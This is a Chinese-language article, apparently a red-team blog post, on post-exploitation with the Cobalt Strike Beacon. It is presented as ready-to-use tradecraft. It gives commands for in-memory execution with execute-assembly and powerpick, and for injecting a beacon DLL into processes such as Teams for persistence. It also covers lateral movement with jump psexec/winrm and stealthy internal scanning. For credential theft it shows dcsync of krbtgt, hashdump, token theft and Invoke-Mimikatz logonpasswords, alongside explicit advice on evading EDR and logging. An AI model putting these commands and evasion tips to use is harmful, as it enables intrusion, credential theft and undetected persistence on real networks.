)
CS上线后别只会敲命令5个被低估的Beacon内置功能实战解析当你拿到一个Beacon会话时第一反应是不是直接敲shell whoami或者upload mimikatz.exe这些操作虽然有效但往往会在日志中留下明显痕迹。今天我们就来探索那些藏在Beacon命令行里却常被忽视的瑞士军刀级功能。1. 内存加载的艺术execute-assembly的隐秘之道传统方式运行.NET工具通常会落地文件而execute-assembly可以直接在内存中加载程序集。比如需要执行Seatbelt这样的信息收集工具时execute-assembly /path/to/Seatbelt.exe -groupuser对比传统方式方法文件落地日志痕迹内存占用直接运行exe是高低execute-assembly否低中注意部分杀软已开始检测CLR内存加载行为建议配合sleep时间调整使用实战中遇到过这样的情况某次红队行动中通过execute-assembly加载自定义的.NET版密码提取工具成功绕过EDR对mimikatz的检测。关键是要控制程序运行时间sleep 5000 execute-assembly SharpHound.exe -c all sleep 602. 无文件PowerShellpowerpick的进阶用法powerpick命令可以在不调用powershell.exe的情况下执行PowerShell代码这避开了许多基于进程名的检测。比如获取域信息powerpick Get-ADDomain | fl但更强大的用法是加载内存中的模块先将PS1脚本上传到Beacon使用以下命令在内存中执行powerpick -import /path/to/script.ps1 powerpick Invoke-MyFunction常见应用场景执行PowerView等工具时不触发进程监控运行混淆后的PowerShell脚本绕过CLM约束语言模式3. 进程注入新思路psinject的精准打击psinject相比常见的进程注入有几个独特优势psinject 1234 x64 /path/to/beacon.dll可指定架构(x86/x64)支持反射DLL加载能选择特定会话注入典型工作流用ps命令列出进程选择有网络连接的进程(如浏览器)注入beacon到该进程psinject 4567 x64 C:\payload.dll曾在一个项目中我们通过注入到Teams进程实现了持久化因为该进程长期运行有网络连接白名单信任4. 跳板新姿势jump命令的隐藏选项大多数人都知道jump psexec但jump还有这些妙用jump psexec64 target01 smb jump winrm64 target02 http特殊参数组合-smb使用SMB协议-http使用HTTP隧道-proxies指定代理链表格对比不同跳板方式方法协议所需凭证日志量psexecSMB管理员高winrmHTTP普通用户中wmiRPC管理员高5. 内置扫描的隐藏技巧portscan的优化配置Beacon自带的portscan比想象中强大portscan target/24 1-1024 arp 500参数详解arp/icmp/none主机发现方式最后一个数字是线程数支持CIDR格式网段优化扫描策略先用ICMP扫描存活主机portscan 10.0.0.0/24 none 1-10 icmp 10对存活主机进行TCP扫描使用-ports参数扫描特定服务在一次内网渗透中通过调整线程数和扫描间隔我们用内置扫描完成了整个/16网段的探测而未被发现。关键是把sleep时间设为30秒线程数控制在20以下。替代Mimikatz的隐蔽方案当目标环境严格监控mimikatz时可以尝试这些内置方法哈希提取替代方案hashdump dcsync domain.com krbtgt票据操作make_token DOMAIN\user password steal_token 1234结合powerpickpowerpick Invoke-Mimikatz -Command sekurlsa::logonpasswords实际案例某次评估中目标系统检测所有mimikatz变种我们最终通过组合使用dcsync和make_token完成了横向移动全程未触发告警。